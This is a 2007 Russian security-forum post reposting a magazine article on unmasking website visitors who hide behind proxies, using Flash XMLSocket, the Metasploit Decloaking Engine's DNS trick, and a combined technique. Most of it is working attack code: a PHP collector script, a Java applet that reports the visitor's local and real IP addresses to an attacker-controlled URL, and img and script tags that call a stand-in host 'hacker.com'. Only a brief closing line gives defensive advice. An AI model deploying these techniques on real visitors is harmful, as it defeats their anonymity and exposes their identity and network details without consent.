ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Чужие Статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #2  
Старый 07.09.2007, 06:08
Alexsize
Fail
Регистрация: 17.09.2005
Сообщений: 2,242
Провел на форуме:
9089375

Репутация: 4268


По умолчанию


Flash XMLSocket

Практически все программные средства, доступные из браузера, используют его настройки при сетевом обмене данными. Поскольку прокси-сервер настраивается в нем же, то все подключения должны делаться через него. Так оно и есть, за исключением некоторых объектов, которые игнорируют прокси сервер. Один из таких объектов - XMLSocket, реализованный во Flash.

Объект XMLSocket используется для обмена данными между Flash-приложением и сервером без использования прокси. Его реализация имеет ряд ограничений, самое существенное из которых - это требования к порту подключения. В целях безопасности номер порта должен быть больше 1024, поэтому у хакера должна быть возможность его прослушивать со стороны сервера. Также стоит заметить, что на сервере должен находиться файл policy.xml, позволяющий подключение по выбранному порту. В самом простом варианте он должен иметь следующее содержание:


Цитата:
<cross-domain-policy>
<allow-access-from domain="*" to-ports="*" />
</cross-domain-policy>
Такая конфигурация позволяет подключение с любого адреса по любому порту. Для примера будем считать, что хакер открыл порт 9000 (в Apache это делается добавлением LISTEN 9000) и настроил его так, что все полученные на него данные пересылаются на 80 порт (веб-сервер). В таком случае исходный код Flash будет иметь следующий вид:

Цитата:
s = new XMLSocket(); // создаем сокет
// настраиваем…

s.onConnect = handleConnect;
// подключаемся на порт 9000
s.connect(null, 9000);
// если подключились, имитируем GET-запрос к нашему скрипту
function handleConnect(success) {
if(success) {
s.send(“GET /go2intranet.php HTTP/1.1 \n”);
s.send(“Host: hacker.com\n”);
s.send(“\n\r”);
}
}
При успешном исполнении Flash инициирует подключение к серверу на 9000-й порт, минуя прокси-сервер, и тем самым раскроет реальный адрес клиента. Но не стоит забывать, что использование этого метода возможно только в тех случаях, когда хакер имеет права на редактирование конфигурации сервера. Если такой возможности у хакера нет, то у него еще остается шанс миновать прокси, используя java, которая позволяет посылать UDP-пакеты на сервер…

Metasploit Decloaking Engine

Очень хорошее решение нашей задачи предложил проект Metasploit. Демонстрация использует несколько вариантов тестирования, чтобы более точно определить сетевую конфигурацию клиента. Самое интересное в этом решении - это определение DNS-сервера провайдера, предоставляющего доступ в Интернет.




Идея достаточно проста и основана на специфике в реализации работы DNS. Когда клиент пытается подключиться к удаленному хосту xxx.hacker.com, ему необходимо определить IP-адрес для подключения. Для этого он посылает lookup-запрос к своему локальному DNS-серверу. Последний, в свою очередь, передает запрос на DNS-сервер хоста hacker.com, чтобы получить адрес для xxx.hacker.com. Но DNS-сервер хакера модифицирован, чтобы сохранять всю информацию о запросах: имя поддомена(xxx) и IP-адрес запросившего(DNS-сервер провайдера).


А теперь самое интересное. XXX – это идентификатор сессии клиента, например, 347205.hacker.com. Значит, если из адреса 50.50.50.50 поступил lookup запрос на 347205.hacker.com, то для пользователя, имеющего сессию 347205, DNS-сервер провайдера - это 50.50.50.50.

Инициировать такой запрос очень просто, достаточно сослаться на ресурс из домена, например, на изображение:


Цитата:
<img src=”http://347205.hacker.com/none.gif”>
В демонстрации от Metasploit так и делается. Но кроме этого, таким же образом создаются запросы из java. Политика безопасности в java блокирует создание подключения к другому хосту( hacker.com и 347205.hacker.com - это разные сайты), но DNS lookup все же происходит.

Комплексное решение


В зависимости от ситуации, хакер может применить те или иные методы. Каждый из способов специфичен, поэтому в некоторых случаях придется отказаться от некоторых из них. Например, вариант с использованием PHP будет работать даже через рисунок:


Цитата:
<img src=http://www.hacker.com/go2intranet.php>
Остальные проканают через подключение удаленного скрипта:

Цитата:
<script src=http://www.hacker.com/go2intranet.php></script>
Так может выглядеть PHP-код, объединяющий технику Ява-сканирования и получения информации из заголовков сервера:

PHP код:
<?PHP

session_start
();

$url 'http://0xfa60/go2intranet.php';

if( 
$_GET['method'] != '' )
{
    
// code here

    
if( $_GET['method'] == 'java' )
    {
        
$_SESSION['java'] = $_GET['data'];
        echo ( 
'OK' );
    }
    else
    {
        echo( 
'Java: ' $_SESSION['java'] . '&lt;br&gt;' );
        echo( 
'X-Forwarded-For: ' $_SESSION['forwarded'] . '&lt;br&gt;' );
        echo( 
'REMOTE_*: ' $_SESSION['remote'] . '&lt;br&gt;' );
    }
}
else
{
    
$url2save  $url '?PHPSESSID=' session_id();

    echo(
'&lt;applet code=javaSocket.class&gt;');
    echo(
'&lt;param name=&quot;url2save&quot; value=&quot;' $url2save .'&quot;&gt;');
    echo(
'&lt;/applet&gt;');

    list(
$forwarded) = split(','$_SERVER['HTTP_X_FORWARDED_FOR'], 2);
    
$_SESSION['forwarded'] =  'local,,' $forwarded ',';

    
$_SESSION['remote'] = 'local,' $_SERVER['REMOTE_HOST'
                 . 
',' $_SERVER['REMOTE_ADDR'
                 . 
',' $_SERVER['REMOTE_PORT'];
};
?>
Таким будет код Java-апплета:

Цитата:
import java.applet.*;

import java.awt.*;
import java.io.*;
import java.net.*;

public class javaSocket extends Applet {

public class Host{

public String name;
public String ip;
public int port;

};

public int ubyte( byte value){

return (int)value & 0xff;
}

public String getStringIP(byte[] ip){

return ( ubyte(ip[0]) + "."
+ ubyte(ip[1]) + "."
+ ubyte(ip[2]) + "."
+ ubyte(ip[3])
);
}

public void showHost(String name,Host host)
{
System.out.println( name + " name: " + host.name );
System.out.println( name + " port: " + host.port );
System.out.println( name + " ip: " + host.ip );

return;
}

public Host getHostBase(){

Host base = new Host();

base.name = getDocumentBase().getHost();
base.port = getDocumentBase().getPort();

if( base.port == -1 )
base.port = 80;

base.ip = "unknown";

try
{
Socket connection = new Socket(base.name, base.port);

byte[] ip = connection.getInetAddress().getAddress();

base.ip = getStringIP(ip);

}catch(Exception e){ base.ip = "error"; };


return base;
}

public Host getHostLocal()
{
Host base = getHostBase();
Host local = new Host();

try {

Socket connection = new Socket(base.name, base.port);

local.name = connection.getLocalAddress().getHostName();
local.ip = connection.getInetAddress().getHostAddress();
local.port = connection.getLocalPort();

if( local.port == -1 )
local.port = 80;


} catch(Exception e)
{
local.name = "localhost";
local.port = '0';
local.ip = "127.0.0.1";
}
return local;

}

public void saveHost(String local,Host host)
{
String url = getParameter("url2save");



String data= local
+"," + host.name
+"," + host.ip
+"," + host.port;

try
{

URLConnection connection =
new URL(url + "&method=java&data=" + data ).openConnection();

BufferedReader in = new BufferedReader(
new InputStreamReader(connection.getInputStream( ) ) );

char[] buffer = new char[1024];
int charsRead;
while((charsRead = in.read(buffer, 0, 1024)) != -1)
{
String contents = new String(buffer, 0, charsRead);
System.out.println( contents );
}
} catch (Exception e) { }



return;

}
public void init()
{
showHost("local", getHostLocal() );
saveHost("local", getHostLocal() );
}
}
Стоит также добавить, что выбор техники может определяться динамически. Определить поддержку Java можно из JavaScript-а:

Цитата:
alert( navigator.javaEnabled() );
Для примеров под FireFox необходимо определять имя браузера:

Цитата:
alert( navigator.appName );
И в таком духе реализовать комплексную проверку.
Для конечных пользователей можно лишь посоветовать использовать анонимные прокси, отключить поддержку Java и Flash. Не самая радужная перспектива, зато полезная штука для соблюдения корпоративной безопасности.


Взято с сайта журнала "Хакер" тут
__________________
...

Последний раз редактировалось Alexsize; 07.09.2007 в 06:19..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Web 2.0 не работает? Isis Мировые новости 0 19.04.2007 23:59
ОПРЕДЕЛЕНИЕ МЕСТОПОЛОЖЕНИЯ АБОНЕНТА МОСКВЫ silveran Телефония и связь 13 08.09.2006 00:27



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ